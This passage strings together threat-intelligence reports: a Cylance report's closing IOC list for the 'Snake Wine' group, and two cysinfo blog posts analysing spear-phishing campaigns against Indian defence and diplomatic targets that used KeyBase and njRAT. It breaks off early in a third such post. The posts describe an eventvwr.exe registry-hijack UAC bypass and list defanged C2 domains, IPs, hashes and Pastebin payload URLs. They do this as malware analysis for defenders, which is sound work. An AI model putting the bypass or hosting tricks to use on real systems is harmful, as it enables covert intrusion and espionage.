+ve only included recent Dynamic DNS domains that were connected to recently registered infrastructure. A much larger collection of information is available to trusted and
+interested parties. Please contact us at: deceptionproject (at) Cylance [dot] com.
+Dynamic DNS IPs:
+37.235.52.18
+78.153.151.222
+175.126.148.111
+95.183.52.57
+109.237.108.202
+109.248.222.85
+2016-05-11
+2016-05-13
+2016-07-14
+2016-07-26
+2016-12-26
+2016-12-27
+Dynamic DNS Domains:
+blaaaaaaaaaaaa.windowsupdate(dot)3-a.net
+contract.4mydomain(dot)com
+contractus.qpoe(dot)com
+ctdl.windowsupdate.itsaol(dot)com
+ctldl.microsoftupdate.qhigh(dot)com
+ctldl.windowsupdate.authorizeddns(dot)org
+ctldl.windowsupdate.authorizeddns(dot)us
+ctldl.windowsupdate.dnset(dot)com
+ctldl.windowsupdate.lflinkup(dot)com
+ctldl.windowsupdate.x24hr(dot)com
+download.windowsupdate.authorizeddns(dot)org
+download.windowsupdate.dnset(dot)com
+download.windowsupdate.itsaol(dot)com
+download.windowsupdate.lflinkup(dot)com
+download.windowsupdate.x24hr(dot)com
+ea.onmypc(dot)info
+eu.wha(dot)la
+feed.jungleheart(dot)com
+fire.mrface(dot)com
+fuck.ikwb(dot)com
+globalnews.wikaba(dot)com
+helpus.ddns(dot)info
+home.trickip(dot)org
+imap.dnset(dot)com
+ipv4.windowsupdate.3-a(dot)net
+ipv4.windowsupdate.authorizeddns(dot)org
+ipv4.windowsupdate.dnset(dot)com
+ipv4.windowsupdate.fartit(dot)com
+ipv4.windowsupdate.lflink(dot)com
+ipv4.windowsupdate.lflinkup(dot)com
+ipv4.windowsupdate.mylftv(dot)com
+ipv4.windowsupdate.x24hr(dot)com
+latestnews.organiccrap(dot)com
+microsoftmirror.mrbasic(dot)com
+microsoftmusic.itemdb(dot)com
+microsoftstore.onmypc(dot)net
+microsoftupdate.qhigh(dot)com
+mobile.2waky(dot)com
+mseupdate.ourhobby(dot)com
+newsreport.justdied(dot)com
+nmrx.mrbonus(dot)com
+outlook.otzo(dot)com
+referred.gr8domain(dot)biz
+twx.mynumber(dot)org
+v4.windowsupdate.authorizeddns(dot)org
+v4.windowsupdate.dnset(dot)com
+v4.windowsupdate.itsaol(dot)com
+v4.windowsupdate.lflinkup(dot)com
+v4.windowsupdate.x24hr(dot)com
+visualstudio.authorizeddns(dot)net
+windowsupdate.2waky(dot)com
+windowsupdate.3-a(dot)net
+windowsupdate.acmetoy(dot)com
+windowsupdate.authorizeddns(dot)net
+windowsupdate.authorizeddns(dot)org
+windowsupdate.dns05(dot)com
+windowsupdate.dnset(dot)com
+windowsupdate.esmtp(dot)biz
+windowsupdate.ezua(dot)com
+windowsupdate.fartit(dot)com
+windowsupdate.itsaol(dot)com
+windowsupdate.lflink(dot)com
+windowsupdate.mrface(dot)com
+windowsupdate.mylftv(dot)com
+windowsupdate.x24hr(dot)com
+www.contractus.qpoe(dot)com
+www.feed.jungleheart(dot)com
+www.helpus.ddns(dot)info
+www.latestnews.organiccrap(dot)com
+www.microsoftmirror.mrbasic(dot)com
+www.microsoftmusic.itemdb(dot)com
+www.microsoftstore.onmypc(dot)net
+www.mobile.2waky(dot)com
+www.mseupdate.ourhobby(dot)com
+www.nmrx.mrbonus(dot)com
+www.twx.mynumber(dot)org
+www.visualstudio.authorizeddns(dot)net
+www.windowsupdate.acmetoy(dot)com
+www.windowsupdate.authorizeddns(dot)net
+www.windowsupdate.authorizeddns(dot)org
+www.windowsupdate.dnset(dot)com
+www.windowsupdate.itsaol(dot)com
+www.windowsupdate.x24hr(dot)com
+www2.qpoe(dot)com
+www2.zyns(dot)com
+www2.zzux(dot)com
+Conclusion
+The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in
+Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.
+If the past is an accurate indicator, attacks will continue to escalate in both skill and intensity as the attackers implement new tactics in response to defenders acting on previously released
+information.
+Perhaps the most interesting aspect of the Snake Wine group is the number of techniques used to obscure attribution. Signing the malware with a stolen and subsequently publicly leaked
+code-signing certificate is sloppy even for well-known CN-APT groups. Also of particular interest from an attribution obfuscation perspective is direct IP crossover with previous Dynamic
+DNS domains associated with known CN-APT activity. A direct trail was established over a period of years that would lead competent researchers to finger CN operators as responsible
+for this new activity as well.
+Although the MenuPass Group used mostly publicly available RATs, they were successful in penetrating a number of high value targets, so it is entirely possible this is indeed a
+continuation of past activity. However, Cylance does not believe this scenario to be probable, as a significant amount of time has elapsed between the activity sets. Also of particular
+interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28.
+In any case, Cylance hopes to better equip defenders to detect and respond to active threats within their network and enable the broader security community to respond to similar threats.
+In terms of defending and responding to malware, attribution is rarely important. As new methodologies become more broadly detected, threat actors will continue to embrace alternate
+and new strategies to continue achieving their objectives.
+Yara Rules
+Yara rules for this campaign can be found on GitHub here: https://github.com/CylanceSPEAR/IOCs/blob/master/snake.wine.yar
+If you use our endpoint protection product, CylancePROTECT
+, you were already protected from this attack. If you don't have CylancePROTECT, contact us to learn how our AI based
+solution can predict and prevent unknown and emerging threats.
+Cyber Attack Targeting Indian Navy
+s Submarine and Warship
+Manufacturer
+cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/
+2/10/2017
+In my previous blog posts I described attack campaigns targeting Indian government organizations, and Indian
+Embassies and Ministry of External affairs. In this blog post I describe a new attack campaign where cyber
+espionage group targeted the users of Mazagon Dock Shipbuilders Limited (also called as ship builder to the
+nation). Mazagon Dock Shipbuilders Limited (MDL) is a Public Sector Undertaking of Government of India (Ministry
+of Defence) and it specializes in manufacturing warships and submarines for the Indian Navy.
+In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed
+spear-phishing emails containing malicious excel file which when opened drops a malware capable of spying on
+infected systems. The email purported to have been sent from legitimate email ids. The attackers spoofed the email
+id associated with a Spain based equipment manufacturing company Hidrofersa which specializes in designing,
+manufacturing naval, industrial and mining machinery.
+Overview of the Malicious Emails
+On 26th January, 2017 Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and
+the indigenously-made Kalvari class Scorpene submarines at the Republic Day parade showcasing India
+s military
+strength and achievements. INS Chennai and Kalvari class submarines were manufactured by Mazagon Dock
+Shipbuilders Limited (MDL).
+On 25th January (day before the Republic day) attackers spoofed an email id associated with Hidrofersa a Spain
+based company which specializes in designing, manufacturing naval, industrial and mining machinery and the email
+was sent to the users of Mazagon Dock Shipbuilders Limited (MDL). The email attachment contained two malicious
+excel files (both excel files turned out to be same but used different names). The email was made to look like it was
+sent by a General service manager of Hidrofersa enquiring about the product delivery schedule.
+Below screen shot shows the recipients associated with Mazagon Dock Shipbuilders Limited (MDL), this information
+1/13
+was determined from the Email header.
+Mazagon Dock Shipbuilders Limited (MDL) is listed as one of clients of Hidrofersa (mentioned in Hidrofersa
+website) and as per their website Hidrofersa has shipped equipments to Mazagon Dock Shipbuilders Limited (MDL)
+in the past as shown in the below screen shots. This is probably the reason attackers spoofed the email id of
+Hidrofersa as it is less likely to trigger any suspicion and there is high chance of recipients opening the attachment
+as it is coming from a trusted equipment manufacturer (Hidrofersa) . It looks like attackers carefully researched (or
+they already knew about) the trust relationship between these two companies.
+From the email it looks like the goal of the attackers was to infect, take control of the systems of users associated
+with Mazagon Dock Shipbuilders Limited (MDL) and to steal sensitive information (like Product design documents,
+blueprints, manufacturing processes etc) related to warships and submarines.
+Analysis of Malicious Excel File
+When the recipient of the email opens the attached excel file it prompts the user to enable macro content and the
+excel also contains instruction on how to enable the macros.
+2/13
+Once the the macro content is enabled, it calls an auto execute function Workbook_Open() which in turn downloads
+the malware sample and executes on the system. The malicious macro code was reverse engineered to understand
+its capabilities. The macro code was heavily obfuscated (used obscure variable/function names to make analysis
+harder) as shown below.
+The macro also contained lot of junk code, unnecessary comments and variable assignments as shown below. The
+attackers used this technique to delay, divert and confuse the manual analysis.
+3/13
+The macro then decodes a string which runs PowerShell script to download malware from a popular university site
+located in Indonesia as shown below. The attackers probably compromised the university website to host the
+malware. The technique of hosting malicious code in a university site (legitimate site) has advantages and it is
+unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices.
+The PowerShell script (shown below) drops the downloaded executable in the %TEMP% directory as 
+doc6.exe
+. It
+then adds a registry entry for the dropped executable and invokes eventvwr.exe, this is an interesting registry hijack
+technique which allows the doc6.exe to be executed by eventvwr.exe with high integrity level and also this
+technique silently bypasses the UAC (user account control). This technique of UAC bypass is mentioned in the blog
+Fileless
+ UAC Bypass Using eventvwr.exe and Registry Hijacking
+4/13
+Normally when eventvwr.exe process (which is running as high integrity process) is invoked, it starts mmc.exe which
+opens eventvwr.msc causing the Event Viewer to be displayed. To start mmc.exe, eventvwr.exe searches this
+registry key 
+HKCU\Software\Classes\mscfile\shell\open\command
+ looking for mmc.exe before looking at
+HKCR\mscfile\shell\open\command.
+In this case since this registry 
+ HKCU\Software\Classes\mscfile\shell\open\command
+ was hijacked to contain the
+entry for 
+doc6.exe
+ , this will cause the eventvwr.exe process to invoke doc6.exe with high integrity level.
+Below screen shot shows doc6.exe running from the %TEMP% directory
+The dropped file (doc6.exe) was determined as KeyBase malware. This malware can steal and send sensitive
+information to the attackers like keystrokes, opened applications, web browsing history, usernames/passwords,
+upload Desktop screen shots etc. The feature of uploading the Desktop screen shot is notable because if the
+infected user opens a design or design document related to submarines or warships the screen shot of that can be
+sent to the attacker.
+The attackers also hosted multiple samples of KeyBase malware in the compromised university website. Below
+screen shot shows hashes of 25 samples hosted on the university site.
+5/13
+Analysis of the Dropped Executable (doc6.exe)
+The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).
+This section contains the behavioral analysis of the dropped executable
+Once the dropped file (doc6.exe) is executed the malware copies itself into %AllUsersProfile% directory as
+Important.exe
+, In addition to that it also drops two files 
+Mails.txt
+ and 
+Browsers.txt
+ into the same directory as
+shown below.
+The malware then creates a registry value for the the dropped file (Important.exe), this ensures that malware is
+executed every time the system restarts.
+6/13
+The malware after execution keeps track of the user activity (like applications opened, files opened etc) but does not
+immediately generate any network traffic, this is to make sure that no network activity is generated during
+automated/sandbox analysis. After sleeping for a long time malware makes an http connection to the C2 server
+(command & control server) and sends the tracked user activity to the attacker. The below screen shot shows the
+communication to the C2 server on port 80.
+C2 Communication Pattern
+Once malware makes an http connection after sleeping for a long time, it sends the system information and the
+tracked activity to the C2 server as http parameters. Below screen shot shows the network communication pattern
+where the hostname and the machine time is sent to C2 server.
+Below screen shot shows a network communication pattern where the opened window title was sent to the C2
+server, this pattern below indicates that 
+test.txt
+ file was opened with notepad on the infected system.
+7/13
+Below screen shot shows a network communication pattern indicating a document named 
+secret.docx
+ was
+opened with Microsoft Word.
+Below screen shot shows a network communication pattern indicating Internet Explorer was launched on the
+infected system.
+Every activity on the infected system is sent to the attacker, this allows the attacker to take further action and also
+since the open window title is sent to attacker, this lets the attacker know about the documents opened and the tools
+running on the system or if any analysis tools are used to inspect the malware.
+C2 Domain Information
+This section contains the details of the C2 domain (tripleshop[.]id). All the 25 samples hosted on compromised
+university site was analyzed and it was determined that all these samples also communicated to the C2 domain
+tripleshop[.]id
+8/13
+The C2 domain was associated with only one IP address . This IP address is associated with hosting provider in
+Indonesia as shown in the screen shots below
+Below screen shot shows the timeline when the IP address was active. The IP was first seen to be active on 18th
+Jan, 2017 (one week before the spear-phishing mail was sent to the victims).
+Threat Intelligence
+Even though attackers tried to make it look like the spear phishing email was sent by an email id associated with
+Hidrofersa but inspecting the email headers revealed some interesting information.
+The X-AuthUser in the header below revealed the identity of the sender. The sender is associated with a company
+named 
+Combined Freight (PVT) Limited
+ (combinedfreight[.]com)
+9/13
+Combined Freight (PVT) Limited is freight forwarding company which is into ocean & air freight business
+headquartered in Karachi, Pakistan (as per their website). This company has 4 other offices in Pakistan (Lahore,
+Islamabad, Sialkot, Faisalabad). Below is the screen shot taken from their website.
+10/13
+Based on the information mentioned above, It looks like the spoofed email was sent by a user associated with a
+Pakistan based company Combined Freight (PVT) Limited.
+Indicators Of Compromise
+In this case the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL) but it is possible that
+other defense equipment manufacturers could also be targeted as part of this attack campaign. The indicators
+associated with this attack are provided so that the organizations (Government, Public, Private organizations,
+Defense and Defense equipment manufacturers) can use these indicators to detect, remediate and investigate this
+attack campaign. Below are the indicators
+Dropped Malware Sample:
+08f2fc9cb30b22c765a0ca9433b35a46
+Samples hosted on the compromised University site:
+6c94b4c7610d278bf8dfc3dbb5ece9ce
+a81eaed8ae25f5fa5b107cbc6fe6e446
+9a708879fd0a03d4089ee343c9254e5b
+069629248742f9d762f66568ba7bcec8
+6455a43366f4da09429738076e7f289c
+34d5a3d6ae3c1836e0577b6f94ee0294
+6eee8a69bc40b104931abdd68509df85
+01c85dd7d8202765331a5cc818948213
+42664aa65c473832a5c0df62c8b38d68
+18e7480894149194f2cd17ee40d0ad7b
+575b4b449a12f2bed583f2a59485f776
+eae013aec7f45661223ea115ee38cc95
+33b9c2c2cbecd4a4844057491b02379e
+bf499821c935e67e0fb606915453a964
+42e411bcb48240fb44c48327b81d8c57
+efaa8d161bbe6342204ffa5b1b22ed0c
+4623d0e188dc225de8dcd494c7802f7f
+3cba51905a78bd221a2433ee180111c0
+a6e6a131887c0cdbf67569e1320840d8
+08f2fc9cb30b22c765a0ca9433b35a46
+44b7aaea854a1a3a0addb521eb7c5eb9
+11/13
+22730ae47acc178c0445c486d16d7ae9
+5b5edc209737b6faa3a6d6711fba1648
+bf5e7ea70c2dab12100b91d77ca76ff2
+34c44c9138a2d4c31391c2cc0b044c02
+Network Indicators Associated with C2:
+tripleshop[.]id
+103[.]229[.]74[.]32
+C2 Communication Patterns:
+hxxp://tripleshop[.]id/userfiles/media/pixum/okilo/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/agogo/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/alpha/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/ariri/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/bobby/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/chisom/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/crack/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/declan/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/elber/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/figure/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/henry/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/ike/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/jizzy/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/kcc/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/kc/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/matte/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/nels/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/notes/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/polish/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/turbo/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/whesilo/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/yboss/post.php
+hxxp://tripleshop[.]id/userfiles/media/pixum/yg/post.php
+Conclusion
+Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and
+using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible
+involvement of Pakistan state sponsored cyber espionage group to steal the intellectual property such as
+design/blueprints and manufacturing data related to submarines and warships.
+Victims/targets chosen (Submarine & Warship manufacturer for Indian Navy)
+Use of Email theme related to the targets
+Timing of the spear phishing emails sent to the victims (The day before the Republic Day)
+Email header information indicating the possible Pakistan connection
+Use of malware that is capable of spying and uploading screen shots
+Use of TTP
+s (tactics, techniques & procedures) similar to the previous campaign
+The following factors reveal the attackers intention to remain stealthy and the attempt to evade sandbox analysis,
+manual analysis and security monitoring at both the desktop and network levels.
+12/13
+Use of obfuscated malicious macro code
+Use of junk code (to divert the manual analysis)
+Use of compromised university site to host malicious code (to bypass security monitoring)
+Use of Silent UAC (user account control) bypass technique
+Use of Malware that sleeps for long time without generating any network activity (to evade sandbox analysis)
+Use of hosting provider to host C2 infrastructure
+Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the
+following reasons:
+To steal defense related information and proprietary product information that can provide their sponsoring
+governments with military and economic advantages.
+To identify vulnerabilities in the defense technologies to gain advantage over adversary
+s military capabilities
+To reduce their research and development costs and produce and sell similar products at lower prices
+References
+http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/
+http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware
+http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-isworth-a-thousand-words/
+https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html
+Follow us on Twitter: @monnappa22 @cysinfo22
+13/13
+Uri Terror attack & Kashmir Protest Themed spear phishing
+emails targeting Indian Embassies and Indian Ministry of
+external affairs
+cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/
+1/19/2017
+In my previous blog I posted details of a cyber attack targeting Indian government organizations. This blog post
+describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear
+phishing emails to target officials in the Indian Embassies and Indian Ministry of External Affairs (MEA). In order to
+infect the victims, the attackers distributed spear-phishing emails containing malicious word document which
+dropped a malware capable of spying on infected systems. The email purported to have been sent from legitimate
+email ids. The attackers spoofed the email ids associated with Indian Ministry of Home Affairs to send out email to
+the victims. Attackers also used the name of the top-ranking official associated with Minister of Home affairs in the
+signature of the email, this is to make it look like the email was sent by a high-ranking Government official
+associated with Ministry of Home Affairs (MHA).
+Overview of the Malicious Emails
+In the The first wave of attack, The attackers spoofed an email id that is associated with Indian Ministry of Home
+Affairs (MHA) and an email was sent on September 20th, 2016 (just 2 days after the Uri terror attack) to an email id
+associated with the Indian Embassy in Japan. The email was made to look like as if an investigation report related
+to Uri terror attack was shared by the MHA official. This email contained a malicious word document (Uri Terror
+Report.doc) as shown in the below screen shot
+On Sept 20th,2016 similar Uri Terror report themed email was also sent to an email id connected with Indian
+embassy in Thailand. This email was later forwarded on Oct 24th,2016 from a spoofed email id which is associated
+with Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs as
+shown in the below screen shot. This email also contained the same malicious word document (Uri Terror
+Report.doc)
+1/14
+In the second wave of attack slightly different theme was used, this time attackers used the Jammnu & Kashmir
+protest theme to target the victims. In this case Attackers again spoofed an email id associated with Indian Ministry
+of Home Affairs and the mail was sent on September 1,2016 to an email id associated Thailand Indian embassy, this
+email was later forwarded on Oct 24th,2016 from a spoofed email of Thailand Indian embassy to various email
+recipients connected to the Indian Ministry of External Affairs (MEA). This time the email was made to look like an
+investigation report related to Jammu & Kashmir protest was shared by the Ministry of Home Affairs Official and the
+forwarded email was made to look like the report was forwarded by an Ambassador in Thailand Indian embassy to
+the MEA officials. This email contained a different malicious word document (mha-report.doc) as shown in the below
+screen shot.
+From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the
+systems and also to spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror
+attack.
+Analysis of Malicious Word Documents
+2/14
+When the victim opens the attached word document it prompts the user to enable macro content and both the
+documents (Uri Terror Report.doc and mha-report.doc) displayed the same content and contained a Show
+Document button as shown below
+In case of both the documents (Uri Terror Report.doc and mha-report.doc) the malicious macro code was heavily
+obfuscated(used obscure variable/function names to make analysis harder) and did not contain any auto execute
+functions . Malicious activity is trigged only on user interaction, attackers normally use this technique to bypass
+sandbox/automated analysis. Reverse engineering both the word documents (Uri Terror Report.doc & mhareport.doc) exhibited similar behaviour except the minor difference mentioned below.
+In case of mha-report.doc the malicious activity triggered only when the show document button was clicked, when
+this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious
+obfuscated function (Bulbaknopka()) as shown in the below screen shot.
+In case of Uri Terror Report.doc the malicious activity triggered when the document was either closed or when the
+show document button was clicked, when any of these event occurs a malicious obfuscated function
+(chugnnarabashkoim()) gets called as shown below.
+3/14
+The malicious macro code first decodes a string which contains a reference to the pastebin url. The macro then
+decodes a PowerShell script which downloads base64 encoded content from the pastebin url.
+Below screen shot shows the network traffic generated as a result of macro code executing the PowerShell script.
+Below screen shot shows the malicious base64 encoded content hosted on that pastebin link.
+4/14
+The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on
+the system. The technique of hosting malicious code in legitimate sites like Pastebin has advantages and it is highly
+unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. Below screen
+shot shows the file (officeupdate.exe) decoded and dropped on the system.
+The dropped file was determined as modified version of njRAT trojan. The dropped file ( officeupdate.exe) is then
+executed by the macro code using the PowerShell script.
+njRAT is a Remote Access Tool (RAT) used mostly by the actor groups in the middle east. Once infected njRAT
+communicates to the attacker and allows the attacker to log keystrokes, upload/download files, access victims web
+camera, audio recording, steal credentials, view victims desktop, open reverse shell etc. The njRAT attacker control
+5/14
+panel and the features in the attacker control panel is shown in the below screen shot.
+Analysis of the Dropped Executable (officeupdate.exe)
+The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).
+This section contains the behavioral analysis of the dropped executable
+Once the dropped file (officeupdate.exe) is executed the malware drops additional files ( googleupdate.exe, malib.dll
+and msccvs.dll) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe
+The malware then communicates with the C2 server (khanji[.]ddns[.]net) on port 5555
+6/14
+C2 Communication Pattern
+Upon execution malware makes a connection to the c2 server on port 5555 and sends the system & operating
+system information along with some base64 encoded strings to the attacker as shown below.
+Below is the description of the strings passed in the C2 communication
+WIN-T9UN4HIIHEC -> is the hostname of the infected system
+Administrator -> is the username
+16-12-04 -> is the infection date
+No -> Indicates that the system has no camera
+The below screen shot shows the base64 decoded strings associated with the C2 communication
+Below is the description of the decoded strings
+7/14
+1302_E63C5C8F -> is the botID_volume-serial-number
+Process Hacker [WIN-T9UN4HIIHEC\Administrator]+ -> Reports open window, In my case I was using a tool
+called Process Hacker, The information on the open window lets the attacker know what tools are running
+on the system or if analysis tools are used to inspect the malware.
+C2 Domain Information
+This section contains the details of the C2 domain (khanji[.]ddns[.]net). Attackers used the DynamicDNS to host the
+C2 server, this allows the attacker to quickly change the IP address in real time if the malware C2 server
+infrastructure is unavailable. The C2 domain was associated with multiple IP addresses in past as shown below
+During the timeline of this cyber attack most of these IP addresses were located in Pakistan and few IP addresses
+used the hosting provider infrastructure as shown in the screen shot below
+8/14
+Below screenshot shows the timeline when these IP addresses were active.
+The C2 domain (khanji[.]ddns[.]net) was also found to be associated with multiple malware samples in the past,
+Some of these malware samples made connection to pastebin urls upon execution, which is similar to the behavior
+mentioned previously.
+9/14
+Threat Intelligence
+Based on the base64 encoded content posted in the Pastebin, userid associated with the Pastebin post was
+determined. The same user posted multiple similar posts most of them containing similar base64 encoded content
+(probably used by the malwares in other campaigns to decode and drop malware executable), these posts were
+made between July 21st, 2016 to September 30, 2016. Below screen shot shows the posts made by the user, the
+hits column in the below screen shot gives an idea of number of times the links were visited (probably by the
+malicious macro code), this can give rough idea of the number of users who are probably infected as a result of
+opening the malicious document.
+10/14
+Below screen shot shows one of the post containing base64 encoded data made by the user on Sept 26th,2016
+Doing a Google search for the Pastebin userid landed me on a YouTube video posted by an individual
+demonstrating his modified version of njRAT control panel/builder kit. The Pastebin userid matched with the Email
+ID mentioned by this individual in the YouTube video description section as shown below.
+This individual also used a specific keyword in his Skype id, Twitter id, and the YouTube username. This same
+keyword was also found in the njRAT C2 communication used in this attack as shown below.
+11/14
+After inspecting the njRAT builder kit it was determined that this individual customized the existing njRAT builder kit
+to bypass security products. The product information in the builder kit matched with this individual
+s YouTube
+username and the YouTube channel. The njRAT used in this cyber attack was built from this builder kit.
+Based on this information it can be concluded that espionage actors used this individual
+s modified version of njRAT
+in this cyber attack.
+Even though this individual
+s email id matched with the Pastebin id where base64 encoded malicious code was
+found, it is hard to say if this individual was or was not involved in this cyber attack. It could be possible that the
+espionage actors used his public identity as a diversion to mislead and to hide the real identity of the attackers or it
+is also possible that this individual was hired to carry out the attack.
+Indicators Of Compromise
+The indicators are provided below, these indicators can be used by the organizations (Government, Public and
+Private organizations) to detect and investigate this attack campaign.
+Dropped Malware Samples:
+14b9d54f07f3facf1240c5ba89aa2410 (googleupdate.exe)
+2b0bd7e43c1f98f9db804011a54c11d6 (malib.dll)
+feec4b571756e8c015c884cb5441166b (msccvs.dll)
+84d9d0524e14d9ab5f88bbce6d2d2582 (officeupdate.exe)
+Network Indicators Associated with C2:
+12/14
+khanji[.]ddns[.]net
+139[.]190[.]6[.]180
+39[.]40[.]141[.]25
+175[.]110[.]165[.]110
+39[.]40[.]44[.]245
+39[.]40[.]67[.]219
+119[.]160[.]68[.]178
+175[.]107[.]13[.]215
+39[.]47[.]125[.]110
+175[.]107[.]5[.]247
+175[.]107[.]6[.]174
+182[.]191[.]90[.]91
+175[.]107[.]7[.]50
+182[.]191[.]90[.]92
+175[.]107[.]7[.]69
+39[.]47[.]84[.]127
+192[.]169[.]136[.]121
+155[.]254[.]225[.]24
+203[.]31[.]216[.]214
+45[.]42[.]243[.]20
+Pastebin URL
+s Hosting Malicious Payload:
+hxxp://pastebin.com/raw/5j4hc8gT
+hxxp://pastebin.com/raw/6bwniBtB
+Related Malware Samples associated with C2 (khanji[.]ddns[.]net):
+028caf3b1f5174ae092ecf435c1fccc2
+7732d5349a0cfa1c3e4bcfa0c06949e4
+9909f8558209449348a817f297429a48
+63698ddbdff5be7d5a7ba7f31d0d592c
+7c4e60685203b229a41ae65eba1a0e10
+e2112439121f8ba9164668f54ca1c6af
+784b6e13f195236304e1c172dcdab51f
+b0f0350a5c2480d8419d14ec3445b765
+9a51db9889d4fd6d02bdb35bd13fb07e
+8199667bad5559ee8f04fd6b1a587a75
+7ad6aaa107a7616a3dbe8e3babf5d310
+Conclusion
+Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and
+using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible
+involvement of Pakistan state sponsored cyber espionage group to mainly spy on India
+s actions related to these
+Geo-political events (Uri terror attack and Jammu & Kashmir protests).
+Victims/targets chosen (Indian Embassy and Indian MEA officals)
+Use of Email theme related to the Geo-political events that is of interest to the targets
+Timing of the spear phishing emails sent to the victims
+Location of the C2 infrastructure
+Use of malware that is capable of spying on infected systems
+13/14
+The following factors show the level of sophistication and reveals the attackers intention to remain stealthy and to
+gain long-term access by evading anti-virus, sandbox and security monitoring at both the desktop and network
+levels.
+Use of obfuscated malicious macro code
+Use of macro code that triggers only on user intervention (to bypass sandbox analysis)
+Use of legitimate site (Pastebin) to host malicious code (to bypass security monitoring)
+Use of customized njRAT (capable of evading anti-virus)
+Use of Dynamic DNS to host C2 infrastructure
+I would like to thank Brian Rogalski who after reading my previous blog post shared a malicious document which he
+thought was similar to the document mentioned in my previous blog. This malicious document shared by Brian
+triggered this investigation and helped me in identifying the related Emails and related documents associated with
+this cyber attack.
+References
+https://www.zscaler.com/blogs/research/njrat-h-worm-variant-infections-continue-rise
+http://threatgeek.typepad.com/files/fta-1009
+njrat-uncovered-1.pdf
+https://www.eff.org/files/2013/12/28/quantum_of_surveillance4d.pdf
+https://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene
+Follow us on Twitter: @monnappa22 @cysinfo22
+14/14
+Cyber Attack Impersonating Identity of Indian Think Tank to
+Target Central Bureau of Investigation (CBI) and Possibly
+Indian Army Officials
+cysinfo.com /cyber-attack-targeting-cbi-and-possibly-indian-army-officials/
+5/11/2017
+In my previous blog posts I posted details of cyber attacks targeting Indian Ministry of External Affairs and
+Indian Navy
+s Warship and Submarine Manufacturer. This blog post describes another attack campaign where
+attackers impersonated identity of Indian think tank IDSA (Institute for Defence Studies and Analyses) and sent out
+spear-phishing emails to target officials of the Central Bureau of Investigation (CBI) and possibly the officials of
+Indian Army.
+IDSA (Institute for Defence Studies and Analyses) is an Indian think tank for advanced research in international
+relations, especially strategic and security issues, and also trains civilian and military officers of the Government of
+India and deals with objective research and policy relating to all aspects of defense and National security.
+The Central Bureau of Investigation (CBI) is the domestic intelligence and security service of India and serves as the
+India
+s premier investigative and Interpol agency operating under the jurisdiction of the Government of India.
+In order to infect the victims, the attackers distributed spear-phishing emails containing malicious excel file which
+when opened dropped a malware capable of downloading additional components and spying on infected systems.
+To distribute the malicious excel file, the attackers registered a domain which impersonated the identity of most
+influential Indian think tank IDSA (Institute for Defence Studies and Analyses) and used the email id from the
+impersonating domain to send out the spear-phishing emails to the victims.
+Overview of the Malicious Emails
+In the first wave of attack, The attackers sent out spear-phishing emails containing malicious excel file (Case Detail
+of Suspected abuser.xls) to an unit of Central Bureau of Investigation (CBI) on February 21st, 2017 and the email
+was sent from an email id associated with an impersonating domain idsadesk[.]in. To lure the victims to open the
+malicious attachment the email subject relevant to the victims were chosen and to avoid suspicion the email was
+made to look like it was sent by a person associated with IDSA asking to take action against a pending case as
+shown in the screen shot below.
+1/33
+In the second wave of attack, a spear-phishing email containing a different malicious excel file (Contact List of
+attendees.xls) was sent to an email id on the same day February 21st, 2017. The email was made to look like a
+person associated with IDSA is asking to confirm the phone number of an attendee in the attendee list. When the
+victim opens the attached excel file it drops the malware and displays a decoy excel sheet containing the list of
+names, which seems be the names of senior army officers. Even though the identity of the recipient email could not
+be fully verified as this email id is nowhere available on the internet but based on the format of the recipient email id
+and from the list of attendees that is displayed to the victim in the decoy excel file, the recipient email could be
